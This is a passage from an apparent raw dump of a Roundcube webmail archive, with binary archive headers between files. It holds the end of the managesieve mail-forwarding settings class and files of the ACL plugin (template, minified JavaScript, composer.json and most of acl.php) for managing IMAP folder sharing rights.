        $out     = $this->rc->output->request_form([
                'id'      => $form_id,
                'name'    => $form_id,
                'method'  => 'post',
                'task'    => 'settings',
                'action'  => 'plugin.managesieve-forward',
                'noclose' => true
            ] + $attrib
        );


        // form elements
        $status = new html_select(['name' => 'forward_status', 'id' => 'forward_status', 'class' => 'custom-select']);
        $action = new html_select(['name' => 'forward_action', 'id' => 'forward_action', 'class' => 'custom-select']);

        $status->add($this->plugin->gettext('forward.on'), 'on');
        $status->add($this->plugin->gettext('forward.off'), 'off');

        if (in_array('copy', $this->exts)) {
            $action->add($this->plugin->gettext('forward.copy'), 'copy');
        }
        $action->add($this->plugin->gettext('forward.redirect'), 'redirect');

        // force domain selection in redirect email input
        $domains  = (array) $this->rc->config->get('managesieve_domains');
        $redirect = !empty($this->forward['action'])
            && ($this->forward['action'] == 'redirect' || $this->forward['action'] == 'copy');

        if (!empty($domains)) {
            sort($domains);

            $domain_select = new html_select(['name' => 'action_domain', 'id' => 'action_domain', 'class' => 'custom-select']);
            $domain_select->add(array_combine($domains, $domains));

            if ($redirect && !empty($this->forward['target'])) {
                $parts = explode('@', $this->forward['target']);
                if (!empty($parts)) {
                    $this->forward['domain'] = array_pop($parts);
                    $this->forward['target'] = implode('@', $parts);
                }
            }
        }

        // redirect target
        $action_target = '<span id="action_target_span" class="input-group">'
            . '<input type="text" name="action_target" id="action_target"'
            . ' value="' .($redirect ? rcube::Q($this->forward['target'], 'strict', false) : '') . '"'
            . (!empty($domain_select) ? ' size="20"' : ' size="35"') . '/>'
            . (!empty($domain_select) ? ' <span class="input-group-prepend input-group-append"><span class="input-group-text">@</span></span> '
                . $domain_select->show(!empty($this->forward['domain']) ? $this->forward['domain'] : null) : '')
            . '</span>';

        // Message tab
        $table = new html_table(['cols' => 2]);

        $table->add('title', html::label('forward_action', $this->plugin->gettext('forward.action')));
        $table->add('forward input-group input-group-combo',
            $action->show(!empty($this->forward['action']) ? $this->forward['action'] : null) . ' ' . $action_target
        );

        $table->add('title', html::label('forward_status', $this->plugin->gettext('forward.status')));
        $table->add(null, $status->show(!isset($this->forward['disabled']) || $this->forward['disabled'] ? 'off' : 'on'));

        $out .= $table->show($attrib);

        $out .= '</form>';

        $this->rc->output->add_gui_object('sieveform', $form_id);

        return $out;
    }

    /**
     * API: get forward rule
     *
     * @return array forward rule information
     */
    public function get_forward()
    {
        $this->exts = $this->sieve->get_extensions();
        $this->init_script();
        $this->forward_rule();

        $forward = [
            'supported' => $this->exts,
            'enabled'   => empty($this->forward['disabled']),
            'action'    => $this->forward['action'],
            'target'    => $this->forward['target'],
        ];

        return $forward;
    }

    /**
     * API: set forward rule
     *
     * @param array $data forward rule information (see self::get_forward())
     *
     * @return bool True on success, False on failure
     */
    public function set_forward($data)
    {
        $this->exts  = $this->sieve->get_extensions();
        $this->error = false;

        $this->init_script();
        $this->forward_rule();

        $date_extension = in_array('date', $this->exts);

        if ($data['action'] == 'redirect' || $data['action'] == 'copy') {
            if (empty($data['target']) || !rcube_utils::check_email($data['target'])) {
                $this->error = "Invalid address in action target: " . $data['target'];
                return false;
            }
        }
        else if ($data['action']) {
            $this->error = "Unsupported forward action: " . $data['action'];
            return false;
        }

        if (empty($forward_tests)) {
            $forward_tests = (array) $this->rc->config->get('managesieve_forward_test', [['test' => 'true']]);
        }

        $rule             = $this->forward;
        $rule['type']     = 'if';
        $rule['name']     = !empty($rule['name']) ? $rule['name'] : 'Out-of-Office';
        $rule['disabled'] = isset($data['enabled']) && !$data['enabled'];
        $rule['tests']    = $forward_tests;
        $rule['join']     = $date_extension ? count($forward_tests) > 1 : false;
        $rule['actions']  = [[
                'type'   => 'redirect',
                'copy'   => $data['action'] == 'copy',
                'target' => $data['target'],
        ]];

        return $this->merge_rule($rule, $this->forward, $this->script_name);
    }

    /**
     * API: connect to managesieve server
     */
    public function connect($username, $password)
    {
        $error = parent::connect($username, $password);

        if ($error) {
            return $error;
        }

        return $this->load_script();
    }

    /**
     * API: Returns last error
     *
     * @return string Error message
     */
    public function get_error()
    {
        return $this->error;
    }
}
PKh�\^؊kk.plugins/acl/skins/elastic/templates/table.htmlnu�[���<div id="acllist-container" class="table-widget">
	<div id="acllist-content" class="content">
		<h2 class="voice" id="aria-label-acltable"><roundcube:label name="acl.ariasummaryacltable" /></h2>
		<roundcube:object name="acltable" id="acltable" class="records-table options-table" aria-labelledby="aria-label-acltable" role="listbox" />
	</div>
	<div id="acllist-footer" class="footer toolbar menu">
		<roundcube:button command="acl-create" type="link" class="create disabled" classAct="create"
			label="acl.add" title="acl.newuser" innerClass="inner" />
		<roundcube:button name="aclmenulink" type="link"
			label="actions" title="acl.actions" href="#acl-actions"
			class="actions" innerClass="inner" data-popup="acl-menu" />
	</div>
</div>

<div id="acl-menu" class="popupmenu" aria-hidden="true" data-align="bottom">
	<h3 id="aria-label-aclactions" class="voice"><roundcube:label name="acl.arialabelaclactions" /></h3>
	<ul class="menu listing iconized" role="menu" aria-labelledby="aria-label-aclactions">
		<roundcube:button command="acl-edit" label="edit" type="link-menuitem" class="edit disabled" classAct="edit active" />
		<roundcube:button command="acl-delete" label="delete" type="link-menuitem" class="delete disabled" classAct="delete active" />
		<roundcube:if condition="!in_array('acl_advanced_mode', (array)config:dont_override)" />
			<roundcube:button name="acl-switch" type="link-menuitem" class="active check" id="acl-switch" onclick="rcmail.command('acl-mode-switch')" label="acl.advanced" />
		<roundcube:endif />
	</ul>
</div>

<div id="aclform" class="popupmenu formcontent" aria-labelledby="aria-label-aclform" role="form">
	<h3 id="aria-label-aclform" class="voice"><roundcube:label name="acl.arialabelaclform" /></h3>
	<div class="row form-group">
		<label class="col-sm-4 col-form-label"><roundcube:label name="acl.identifier" /></label>
		<roundcube:object name="acluser" id="acluser" class="proplist col-sm-8" />
	</div>
	<div class="row form-group">
		<label class="col-sm-4 col-form-label"><roundcube:label name="acl.myrights" /></label>
		<roundcube:object name="aclrights" class="proplist col-sm-8" />
	</div>
</div>
PKh�\&��1��plugins/acl/acl.min.jsnu�[���/**
 * ACL plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
window.rcmail&&rcmail.addEventListener("init",function(){var e;rcmail.gui_objects.acltable&&(rcmail.acl_list_init(),rcmail.env.acl_users_source)&&((e=rcmail.is_framed()?parent.rcmail:rcmail).init_address_input_events($("#acluser"),{action:"settings/plugin.acl-autocomplete"}),e.set_env({autocomplete_max:rcmail.env.autocomplete_max,autocomplete_min_length:rcmail.env.autocomplete_min_length}),e.add_label("autocompletechars",rcmail.labels.autocompletechars),e.add_label("autocompletemore",rcmail.labels.autocompletemore),e.addEventListener("autocomplete_insert",function(e){"acluser"==e.field.id&&(e.field.value=e.insert.replace(/[ ,;]+$/,""))})),rcmail.enable_command("acl-create","acl-save","acl-cancel","acl-mode-switch",!0),rcmail.enable_command("acl-delete","acl-edit",!1),rcmail.env.acl_advanced&&$("#acl-switch").addClass("selected").find("input").prop("checked",!0)}),rcube_webmail.prototype.acl_create=function(){this.acl_init_form()},rcube_webmail.prototype.acl_edit=function(){var e=this.acl_list.get_single_selection();e&&this.acl_init_form(e)},rcube_webmail.prototype.acl_delete=function(){var a=this.acl_get_usernames();a&&a.length&&this.confirm_dialog(this.get_label("acl.deleteconfirm"),"delete",function(e,t){t.http_post("settings/plugin.acl",{_act:"delete",_user:a.join(","),_mbox:rcmail.env.mailbox},t.set_busy(!0,"acl.deleting"))})},rcube_webmail.prototype.acl_save=function(){var e,t="",a=$("#acluser",this.acl_form).val();$(this.env.acl_advanced?"#advancedrights :checkbox":"#simplerights :checkbox",this.acl_form).map(function(){this.checked&&(t+=this.value)}),(a=(e=$("input:checked[name=usertype]",this.acl_form).val())&&"user"!=e?e:a)?t?(e={_act:"save",_user:a,_acl:t,_mbox:this.env.mailbox},this.acl_id&&(e._old=this.acl_id),this.http_post("settings/plugin.acl",e,this.set_busy(!0,"acl.saving"))):this.alert_dialog(this.get_label("acl.norights")):this.alert_dialog(this.get_label("acl.nouser"))},rcube_webmail.prototype.acl_cancel=function(){this.ksearch_blur(),this.acl_popup.dialog("close")},rcube_webmail.prototype.acl_update=function(e){e.old?this.acl_remove_row(e.old):this.env.acl[e.id]&&this.acl_remove_row(e.id),this.acl_add_row(e,!0),this.ksearch_blur(),this.acl_popup.dialog("close")},rcube_webmail.prototype.acl_mode_switch=function(e){this.env.acl_advanced=!this.env.acl_advanced,this.enable_command("acl-delete","acl-edit",!1),this.http_request("settings/plugin.acl","_act=list&_mode="+(this.env.acl_advanced?"advanced":"simple")+"&_mbox="+urlencode(this.env.mailbox),this.set_busy(!0,"loading"))},rcube_webmail.prototype.acl_list_init=function(){var e=this.env.acl_advanced?"addClass":"removeClass";$("#acl-switch")[e]("selected"),$(this.gui_objects.acltable)[e]("advanced"),this.acl_list=new rcube_list_widget(this.gui_objects.acltable,{multiselect:!0,draggable:!1,keyboard:!0}),this.acl_list.addEventListener("select",function(e){rcmail.acl_list_select(e)}).addEventListener("dblclick",function(e){rcmail.acl_list_dblclick(e)}).addEventListener("keypress",function(e){rcmail.acl_list_keypress(e)}).init()},rcube_webmail.prototype.acl_list_select=function(e){rcmail.enable_command("acl-delete",0<e.get_selection().length),rcmail.enable_command("acl-edit",1==e.get_selection().length),e.focus()},rcube_webmail.prototype.acl_list_dblclick=function(e){this.acl_edit()},rcube_webmail.prototype.acl_list_keypress=function(e){e.key_pressed==e.ENTER_KEY?this.command("acl-edit"):e.key_pressed!=e.DELETE_KEY&&e.key_pressed!=e.BACKSPACE_KEY||this.acl_form&&this.acl_form.is(":visible")||this.command("acl-delete")},rcube_webmail.prototype.acl_list_update=function(e){$(this.gui_objects.acltable).html(e),this.acl_list_init()},rcube_webmail.prototype.acl_get_usernames=function(){for(var e,t=[],a=this.acl_list,l=a.get_selection(),c=0,i=l.length;c<i;c++)this.env.acl_specials.length&&0<=$.inArray(l[c],this.env.acl_specials)?t.push(l[c]):(e=a.rows[l[c]])&&(e=$(e.obj).data("userid"))&&t.push(e);return t},rcube_webmail.prototype.acl_remove_row=function(e){var t=this.acl_list;t.remove_row(e),t.clear_selection(),$("#rcmrow"+e).remove(),this.env.acl[e]=null,this.enable_command("acl-delete",0<t.get_selection().length),this.enable_command("acl-edit",1==t.get_selection().length)},rcube_webmail.prototype.acl_add_row=function(l,e){var t,a,c=[],i=[],s=l.id,n=this.acl_list,o=this.env.acl_advanced?[]:this.env.acl_items,r=this.gui_objects.acltable,r=$("thead > tr",r).clone();for(t in $("th",r).map(function(){var e=$("<td>"),t=$(this).attr("title"),a=this.className.replace(/^acl/,"");t&&e.attr("title",t),"user"==(a=o&&o[a]?o[a]:a)?e.addClass(a).attr("title",l.title).append($("<a>").text(l.display)):e.addClass(this.className+" "+rcmail.acl_class(l.acl,a)).html("<span/>"),$(this).replaceWith(e)}),r=r.attr({id:"rcmrow"+s,"data-userid":l.username}).get(0),this.env.acl[s]=l.acl,this.env.acl)this.env.acl[t]&&(this.env.acl_specials.length&&0<=$.inArray(t,this.env.acl_specials)?i:c).push(t);for(c.sort(),t=0,a=(c=i.concat(c)).length;t<a&&c[t]!=s;t++);t&&t<a?($("#rcmrow"+c[t-1]).after(r),n.init_row(r),n.rowcount++):n.insert_row(r),e&&n.select_row(l.id)},rcube_webmail.prototype.acl_init_form=function(e){var t,a,l,c="",i="user",s=($("body"),$("#advancedrights")),n=$("#simplerights"),o=$("#acluser"),r=$("#usertype"),n=(this.acl_form||o.click(l=function(){$('input[value="user"]').prop("checked",!0)}).keypress(l),this.acl_form=$("#aclform"),l=this.env.acl_advanced?(s.show(),n.hide(),s):(n.show(),s.hide(),n),(s=$(":checkbox",l)).attr("checked",!1),e&&(t=this.acl_list.rows[e])?(t=t.obj,s.map(function(){(a=$("td."+this.id,t)).length&&a.hasClass("enabled")&&(this.checked=!0)}),!this.env.acl_specials.length||$.inArray(e,this.env.acl_specials)<0?c=$(t).data("userid"):i=e):s.filter(function(){return this.id.match(/^acl([lrs]|read)$/)}).prop("checked",!0),o.val(c),$("input[value="+i+"]").prop("checked",!0),this.acl_id=e,{}),_=this,d=document.body;n[this.get_label("save")]=function(e){_.command("acl-save")},n[this.get_label("cancel")]=function(e){_.command("acl-cancel")},this.acl_popup=this.show_popup_dialog(this.acl_form.show(),e?this.get_label("acl.editperms"):this.get_label("acl.newuser"),n,{button_classes:["mainaction submit","cancel"],modal:!0,closeOnEscape:!0,close:function(e,t){(_.is_framed()?parent.rcmail:_).ksearch_hide(),_.acl_form.appendTo(d).hide(),$(this).remove(),window.focus()}}),("user"==i?o:$("input:checked",r)).focus()},rcube_webmail.prototype.acl_class=function(e,t){var a,l,c=0;for(e=String(e),a=0,l=(t=String(t)).length;a<l;a++)-1<e.indexOf(t[a])&&c++;return c==l?"enabled":c?"partial":"disabled"};
PKh�\l�:MMplugins/acl/composer.jsonnu�[���{
    "name": "roundcube/acl",
    "type": "roundcube-plugin",
    "description": "IMAP Folders Access Control Lists Management (RFC4314, RFC2086).",
    "license": "GPL-3.0-or-later",
    "version": "1.8",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�T"fpfpplugins/acl/acl.phpnu�[���<?php

/**
 * Folders Access Control Lists Management (RFC4314, RFC2086)
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class acl extends rcube_plugin
{
    public $task = 'settings';

    private $rc;
    private $supported = null;
    private $mbox;
    private $ldap;
    private $specials = ['anyone', 'anonymous'];

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->rc = rcmail::get_instance();

        // Register hooks
        $this->add_hook('folder_form', [$this, 'folder_form']);

        // Plugin actions
        $this->register_action('plugin.acl', [$this, 'acl_actions']);
        $this->register_action('plugin.acl-autocomplete', [$this, 'acl_autocomplete']);
    }

    /**
     * Handler for plugin actions (AJAX)
     */
    function acl_actions()
    {
        $action = trim(rcube_utils::get_input_string('_act', rcube_utils::INPUT_GPC));

        // Connect to IMAP
        $this->rc->storage_init();

        // Load localization and configuration
        $this->add_texts('localization/');
        $this->load_config();

        if ($action == 'save') {
            $this->action_save();
        }
        else if ($action == 'delete') {
            $this->action_delete();
        }
        else if ($action == 'list') {
            $this->action_list();
        }

        // Only AJAX actions
        $this->rc->output->send();
    }

    /**
     * Handler for user login autocomplete request
     */
    function acl_autocomplete()
    {
        $this->load_config();

        $search = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC, true);
        $reqid  = rcube_utils::get_input_string('_reqid', rcube_utils::INPUT_GPC);
        $users  = [];
        $keys   = [];

        if ($this->init_ldap()) {
            $max  = (int) $this->rc->config->get('autocomplete_max', 15);
            $mode = (int) $this->rc->config->get('addressbook_search_mode');

            $this->ldap->set_pagesize($max);
            $result = $this->ldap->search('*', $search, $mode);

            foreach ($result->records as $record) {
                $user = $record['uid'];

                if (is_array($user) && !empty($user)) {
                    $user = array_filter($user);
                    $user = $user[0];
                }

                if ($user) {
                    $display = rcube_addressbook::compose_search_name($record);
                    $user    = ['name' => $user, 'display' => $display];
                    $users[] = $user;
                    $keys[]  = $display ?: $user['name'];
                }
            }

            if ($this->rc->config->get('acl_groups')) {
                $prefix      = $this->rc->config->get('acl_group_prefix');
                $group_field = $this->rc->config->get('acl_group_field', 'name');
                $result      = $this->ldap->list_groups($search, $mode);

                foreach ($result as $record) {
                    $group    = $record['name'];
                    $group_id = is_array($record[$group_field]) ? $record[$group_field][0] : $record[$group_field];

                    if ($group) {
                        $users[] = ['name' => ($prefix ?: '') . $group_id, 'display' => $group, 'type' => 'group'];
                        $keys[]  = $group;
                    }
                }
            }
        }

        if (count($users)) {
            // sort users index
            asort($keys, SORT_LOCALE_STRING);
            // re-sort users according to index
            foreach ($keys as $idx => $val) {
                $keys[$idx] = $users[$idx];
            }
            $users = array_values($keys);
        }

        $this->rc->output->command('ksearch_query_results', $users, $search, $reqid);
        $this->rc->output->send();
    }

    /**
     * Handler for 'folder_form' hook
     *
     * @param array $args Hook arguments array (form data)
     *
     * @return array Hook arguments array
     */
    function folder_form($args)
    {
        $mbox_imap = $args['options']['name'] ?? '';
        $myrights  = $args['options']['rights'] ?? '';

        // Edited folder name (empty in create-folder mode)
        if (!strlen($mbox_imap)) {
            return $args;
        }
/*
        // Do nothing on protected folders (?)
        if (!empty($args['options']['protected'])) {
            return $args;
        }
*/
        // Get MYRIGHTS
        if (empty($myrights)) {
            return $args;
        }

        // Load localization and include scripts
        $this->load_config();
        $this->specials = $this->rc->config->get('acl_specials', $this->specials);
        $this->add_texts('localization/', ['deleteconfirm', 'norights',
            'nouser', 'deleting', 'saving', 'newuser', 'editperms']);
        $this->rc->output->add_label('save', 'cancel');
        $this->include_script('acl.js');
        $this->rc->output->include_script('list.js');
        $this->include_stylesheet($this->local_skin_path() . '/acl.css');

        // add Info fieldset if it doesn't exist
        if (!isset($args['form']['props']['fieldsets']['info']))
            $args['form']['props']['fieldsets']['info'] = [
                'name'    => $this->rc->gettext('info'),
                'content' => []
            ];

        // Display folder rights to 'Info' fieldset
        $args['form']['props']['fieldsets']['info']['content']['myrights'] = [
            'label' => rcube::Q($this->gettext('myrights')),
            'value' => $this->acl2text($myrights)
        ];

        // Return if not folder admin
        if (!in_array('a', $myrights)) {
            return $args;
        }

        // The 'Sharing' tab
        $this->mbox = $mbox_imap;
        $this->rc->output->set_env('acl_users_source', (bool) $this->rc->config->get('acl_users_source'));
        $this->rc->output->set_env('mailbox', $mbox_imap);
        $this->rc->output->add_handlers([
                'acltable'  => [$this, 'templ_table'],
                'acluser'   => [$this, 'templ_user'],
                'aclrights' => [$this, 'templ_rights'],
        ]);

        $this->rc->output->set_env('autocomplete_max', (int) $this->rc->config->get('autocomplete_max', 15));
        $this->rc->output->set_env('autocomplete_min_length', $this->rc->config->get('autocomplete_min_length'));
        $this->rc->output->add_label('autocompletechars', 'autocompletemore');

        $args['form']['sharing'] = [
            'name'    => rcube::Q($this->gettext('sharing')),
            'content' => $this->rc->output->parse('acl.table', false, false),
        ];

        return $args;
    }

    /**
     * Creates ACL rights table
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML Content
     */
    function templ_table($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'acl-table';
        }

        $out = $this->list_rights($attrib);

        $this->rc->output->add_gui_object('acltable', $attrib['id']);

        return $out;
    }

    /**
     * Creates ACL rights form (rights list part)
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML Content
     */
    function templ_rights($attrib)
    {
        // Get supported rights
        $supported = $this->rights_supported();

        // give plugins the opportunity to adjust this list
        $data = $this->rc->plugins->exec_hook('acl_rights_supported',
            ['rights' => $supported, 'folder' => $this->mbox, 'labels' => []]
        );
        $supported = $data['rights'];

        // depending on server capability either use 'te' or 'd' for deleting msgs
        $deleteright = implode(array_intersect(str_split('ted'), $supported));

        $out = '';
        $ul  = '';
        $input = new html_checkbox();

        // Advanced rights
        $attrib['id'] = 'advancedrights';
        foreach ($supported as $key => $val) {
            $id = "acl$val";
            $ul .= html::tag('li', null,
                $input->show('', ['name' => "acl[$val]", 'value' => $val, 'id' => $id])
                . html::label(['for' => $id, 'title' => $this->gettext('longacl'.$val)], $this->gettext('acl'.$val))
            );
        }

        $out = html::tag('ul', $attrib, $ul, html::$common_attrib);

        // Simple rights
        $ul = '';
        $attrib['id'] = 'simplerights';
        $items = [
            'read'   => 'lrs',
            'write'  => 'wi',
            'delete' => $deleteright,
            'other'  => preg_replace('/[lrswi'.$deleteright.']/', '', implode($supported)),
        ];

        // give plugins the opportunity to adjust this list
        $data = $this->rc->plugins->exec_hook('acl_rights_simple',
            ['rights' => $items, 'folder' => $this->mbox, 'labels' => [], 'titles' => []]
        );

        foreach ($data['rights'] as $key => $val) {
            $id    = "acl$key";
            $title = !empty($data['titles'][$key]) ? $data['titles'][$key] : $this->gettext('longacl'.$key);
            $label = !empty($data['labels'][$key]) ? $data['labels'][$key] : $this->gettext('acl'.$key);
            $ul   .= html::tag('li', null,
                $input->show('', ['name' => "acl[$val]", 'value' => $val, 'id' => $id])
                . html::label(['for' => $id, 'title' => $title], $label)
            );
        }

        $out .= "\n" . html::tag('ul', $attrib, $ul, html::$common_attrib);

        $this->rc->output->set_env('acl_items', $data['rights']);

        return $out;
    }

    /**
     * Creates ACL rights form (user part)
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML Content
     */
    function templ_user($attrib)
    {
        // Create username input
        $class = !empty($attrib['class']) ? $attrib['class'] : '';
        $attrib['name']  = 'acluser';
        $attrib['class'] = 'form-control';

        $textfield = new html_inputfield($attrib);

        $label = html::label(['for' => $attrib['id'], 'class' => 'input-group-text'], $this->gettext('username'));
        $fields['user'] = html::div('input-group',
            html::span('input-group-prepend', $label) . ' ' . $textfield->show()
        );

        // Add special entries
        if (!empty($this->specials)) {
            foreach ($this->specials as $key) {
                $fields[$key] = html::label(['for' => 'id' . $key], $this->gettext($key));
            }
        }

        $this->rc->output->set_env('acl_specials', $this->specials);

        // Create list with radio buttons
        if (count($fields) > 1) {
            $ul = '';
            foreach ($fields as $key => $val) {
                $radio = new html_radiobutton(['name' => 'usertype']);
                $radio = $radio->show($key == 'user' ? 'user' : '', ['value' => $key, 'id' => 'id' . $key]);
                $ul .= html::tag('li', null, $radio . $val);
            }

            $out = html::tag('ul', ['id' => 'usertype', 'class' => $class], $ul, html::$common_attrib);
        }
        // Display text input alone
        else {
            $out = html::div($class, $fields['user']);
        }

        return $out;
    }

    /**
     * Creates ACL rights table
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML Content
     */
    private function list_rights($attrib = [])
    {
        // Get ACL for the folder
        $acl = $this->rc->storage->get_acl($this->mbox);

        if (!is_array($acl)) {
            $acl = [];
        }

        // Keep special entries (anyone/anonymous) on top of the list
        if (!empty($this->specials) && !empty($acl)) {
            foreach ($this->specials as $key) {
                if (isset($acl[$key])) {
                    $acl_special[$key] = $acl[$key];
                    unset($acl[$key]);
                }
            }
        }

        // Sort the list by username
        uksort($acl, 'strnatcasecmp');

        if (!empty($acl_special)) {
            $acl = array_merge($acl_special, $acl);
        }

        // Get supported rights and build column names
        $supported = $this->rights_supported();

        // give plugins the opportunity to adjust this list
        $data = $this->rc->plugins->exec_hook('acl_rights_supported',
            ['rights' => $supported, 'folder' => $this->mbox, 'labels' => []]
        );
        $supported = $data['rights'];

        // depending on server capability either use 'te' or 'd' for deleting msgs
        $deleteright = implode(array_intersect(str_split('ted'), $supported));

        // Use advanced or simple (grouped) rights
        $advanced = $this->rc->config->get('acl_advanced_mode');

        if ($advanced) {
            $items = [];
            foreach ($supported as $sup) {
                $items[$sup] = $sup;
            }
        }
        else {
            $items = [
                'read'   => 'lrs',
                'write'  => 'wi',
                'delete' => $deleteright,
                'other'  => preg_replace('/[lrswi'.$deleteright.']/', '', implode($supported)),
            ];

            // give plugins the opportunity to adjust this list
            $data = $this->rc->plugins->exec_hook('acl_rights_simple',
                ['rights' => $items, 'folder' => $this->mbox, 'labels' => []]
            );
            $items = $data['rights'];
        }

        // Create the table
        $attrib['noheader'] = true;
        $table    = new html_table($attrib);
        $self     = $this->rc->get_user_name();
        $js_table = [];

        // Create table header
        $table->add_header('user', $this->gettext('identifier'));
        foreach (array_keys($items) as $key) {
            $label = !empty($data['labels'][$key]) ? $data['labels'][$key] : $this->gettext('shortacl' . $key);
            $table->add_header(['class' => 'acl' . $key, 'title' => $label], $label);
        }

        foreach ($acl as $user => $rights) {
            if ($user === $self) {
                continue;
            }

            // filter out virtual rights (c or d) the server may return
            $userrights = array_intersect($rights, $supported);
            $userid     = rcube_utils::html_identifier($user);
            $title      = null;

            if (!empty($this->specials) && in_array($user, $this->specials)) {
                $username = $this->gettext($user);
            }
            else {
                $username = $this->resolve_acl_identifier($user, $title);
            }

            $table->add_row(['id' => 'rcmrow' . $userid, 'data-userid' => $user]);
            $table->add(['class' => 'user text-nowrap', 'title' => $title],
                html::a(['id' => 'rcmlinkrow' . $userid], rcube::Q($username))
            );

            foreach ($items as $key => $right) {
                $in = $this->acl_compare($userrights, $right);
                switch ($in) {
                    case 2: $class = 'enabled'; break;
                    case 1: $class = 'partial'; break;
                    default: $class = 'disabled'; break;
                }
                $table->add('acl' . $key . ' ' . $class, '<span></span>');
            }

            $js_table[$userid] = implode($userrights);
        }

        $this->rc->output->set_env('acl', $js_table);
        $this->rc->output->set_env('acl_advanced', $advanced);

        $out = $table->show();

        return $out;
    }

    /**
     * Handler for ACL update/create action
     */
    private function action_save()
    {
        $mbox  = trim(rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true)); // UTF7-IMAP
        $user  = trim(rcube_utils::get_input_string('_user', rcube_utils::INPUT_POST));
        $acl   = trim(rcube_utils::get_input_string('_acl', rcube_utils::INPUT_POST));
        $oldid = trim(rcube_utils::get_input_string('_old', rcube_utils::INPUT_POST));

        $acl    = array_intersect(str_split($acl), $this->rights_supported());
        $users  = $oldid ? [$user] : explode(',', $user);
        $result = 0;
        $self   = $this->rc->get_user_name();

        foreach ($users as $user) {
            $user     = trim($user);
            $username = '';
            $prefix   = $this->rc->config->get('acl_groups') ? $this->rc->config->get('acl_group_prefix') : '';

            if ($prefix && strpos($user, $prefix) === 0) {
                $username = $user;
            }
            else if (!empty($this->specials) && in_array($user, $this->specials)) {
                $username = $this->gettext($user);
            }
            else if (!empty($user)) {
                if (!strpos($user, '@') && ($realm = $this->get_realm())) {
                    $user .= '@' . rcube_utils::idn_to_ascii(preg_replace('/^@/', '', $realm));
                }

                // Make sure it's valid email address to prevent from "disappearing folder"
                // issue in Cyrus IMAP e.g. when the acl user identifier contains spaces inside.
                if (strpos($user, '@') && !rcube_utils::check_email($user, false)) {
                    $user = null;
                }

                $username = $user;
            }

            if (!$acl || !$user || !strlen($mbox)) {
                continue;
            }

            $user     = $this->mod_login($user);
            $username = $this->mod_login($username);

            if ($user != $self && $username != $self) {
                if ($this->rc->storage->set_acl($mbox, $user, $acl)) {
                    $display = $this->resolve_acl_identifier($username, $title);
                    $this->rc->output->command('acl_update', [
                            'id'       => rcube_utils::html_identifier($user),
                            'username' => $username,
                            'title'    => $title,
                            'display'  => $display,
                            'acl'      => implode($acl),
                            'old'      => $oldid
                    ]);
                    $result++;
                }
            }
        }

        if ($result) {
            $this->rc->output->show_message($oldid ? 'acl.updatesuccess' : 'acl.createsuccess', 'confirmation');
        }
        else {
            $this->rc->output->show_message($oldid ? 'acl.updateerror' : 'acl.createerror', 'error');
        }
    }

    /**
     * Handler for ACL delete action
     */
    private function action_delete()
    {
        $mbox = trim(rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true)); //UTF7-IMAP
        $user = trim(rcube_utils::get_input_string('_user', rcube_utils::INPUT_POST));

        $user = explode(',', $user);

        foreach ($user as $u) {
            $u = trim($u);
            if ($this->rc->storage->delete_acl($mbox, $u)) {
                $this->rc->output->command('acl_remove_row', rcube_utils::html_identifier($u));
            }
            else {
                $error = true;
            }
        }

        if (empty($error)) {
            $this->rc->output->show_message('acl.deletesuccess', 'confirmation');
        }
        else {
            $this->rc->output->show_message('acl.deleteerror', 'error');
        }
    }

    /**
     * Handler for ACL list update action (with display mode change)
     */
    private function action_list()
    {
        if (in_array('acl_advanced_mode', (array)$this->rc->config->get('dont_override'))) {
            return;
        }

        $this->mbox = trim(rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_GPC, true)); // UTF7-IMAP
        $advanced   = trim(rcube_utils::get_input_string('_mode', rcube_utils::INPUT_GPC));
        $advanced   = $advanced == 'advanced';

        // Save state in user preferences
        $this->rc->user->save_prefs(['acl_advanced_mode' => $advanced]);

        $out = $this->list_rights();

        $out = preg_replace(['/^<table[^>]+>/', '/<\/table>$/'], '', $out);

        $this->rc->output->command('acl_list_update', $out);
    }

    /**
     * Creates <UL> list with descriptive access rights
     *
     * @param array $rights MYRIGHTS result
     *
     * @return string HTML content
     */
    function acl2text($rights)
    {
        if (empty($rights)) {
            return '';
        }

        $supported = $this->rights_supported();
        $list      = [];
        $attrib    = [
            'name' => 'rcmyrights',
            'style' => 'margin:0; padding:0 15px;',
        ];

        foreach ($supported as $right) {
            if (in_array($right, $rights)) {
                $list[] = html::tag('li', null, rcube::Q($this->gettext('acl' . $right)));
            }
        }

        if (count($list) == count($supported)) {
            return rcube::Q($this->gettext('aclfull'));
        }

        return html::tag('ul', $attrib, implode("\n", $list));
    }

    /**
     * Compares two ACLs (according to supported rights)
     *
     * @param array $acl1 ACL rights array (or string)
     * @param array $acl2 ACL rights array (or string)
     *
     * @return int Comparison result, 2 - full match, 1 - partial match, 0 - no match
     */
    function acl_compare($acl1, $acl2)
    {
        if (!is_array($acl1)) $acl1 = str_split($acl1);
